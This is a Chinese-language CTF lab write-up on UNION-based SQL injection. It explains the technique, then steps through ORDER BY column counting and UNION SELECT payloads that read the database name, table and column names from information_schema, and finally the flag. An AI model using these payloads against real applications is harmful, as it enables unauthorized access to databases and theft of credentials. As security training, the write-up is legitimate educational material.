联合注入实验
背景
在SQL注入攻击中,联合注入利用了SQL的UNION操作符,将查询结果与原始查询结果合并,从而获取敏感信息。
在进行联合注入时,首先需要确定原始SQL查询返回的列数。这通常可以通过添加ORDER BY
子句并逐渐增加列数来实现。当列数超过实际值时,数据库将返回错误。
一旦确定了列数,就可以构造UNION查询。这个查询需要包含与原始查询相同数量的列,并且每列的数据类型也需要匹配。通常会在这个查询中包含从其他表中获取的敏感信息,例如用户的用户名和密码。
例如,如果原始查询是
SELECT username, password FROM users WHERE id = $id |
可以提交如下的$id:
1 UNION SELECT username, password FROM admin |
这将导致数据库执行如下的查询:
SELECT username, password FROM users WHERE id = 1 UNION SELECT username, password FROM admin |
这个查询将返回用户表中id为1的用户的用户名和密码,以及管理员表中所有用户的用户名和密码。
思路
按提示输入 221103 ,得到
http://ctf.seek2.top:32832/result.php?id=221103
ID:221103
Name:Sonder
Advantage:flag in CSSEC.union_injection
说明 id 是注入点, 且 flag 在数据库 CSSEC 的 union_injection 表中,
输入 221103 and 1=1,判断注入类型,得到
http://ctf.seek2.top:32832/result.php?id=221103 and 1=1
ID:221103
Name:Sonder
Advantage:flag in CSSEC.union_injection说明是数字型注入
判断数据表列数
221103 order by 2 查询成功
221103 order by 3 查询成功
221103 order by 4 查询成功
221103 order by 5 Unknown column '5' in 'order clause'判断数据表列数为 4
判断数据库
-1 union select 1,2,database(),4
ID:1
Name:2
Advantage:CSSEC说明数据库名为 CSSEC
判断数据表
-1 union select 1,2, group_concat(table_name),4 from information_schema.tables where table_schema=database()
ID:1
Name:2
Advantage:member,platform,union_injection,vulnerability找到目标数据表 union_injection
判断列名
-1 union select 1,2, group_concat(column_name),4 from information_schema.columns where table_schema=database() and table_name='union_injection'
ID:1
Name:2
Advantage:flag只有一个 flag 列
得到数据
-1 union select 1,2, group_concat(flag),4 from union_injection
ID:1
Name:2
Advantage:flag{4a909cf2-dc8e-47d6-a14d-10eaf6347da0}
关于联合注入的学习可以参考:https://www.yuque.com/shiyizhesonder/sonder39/odx8gilog2lhkc6n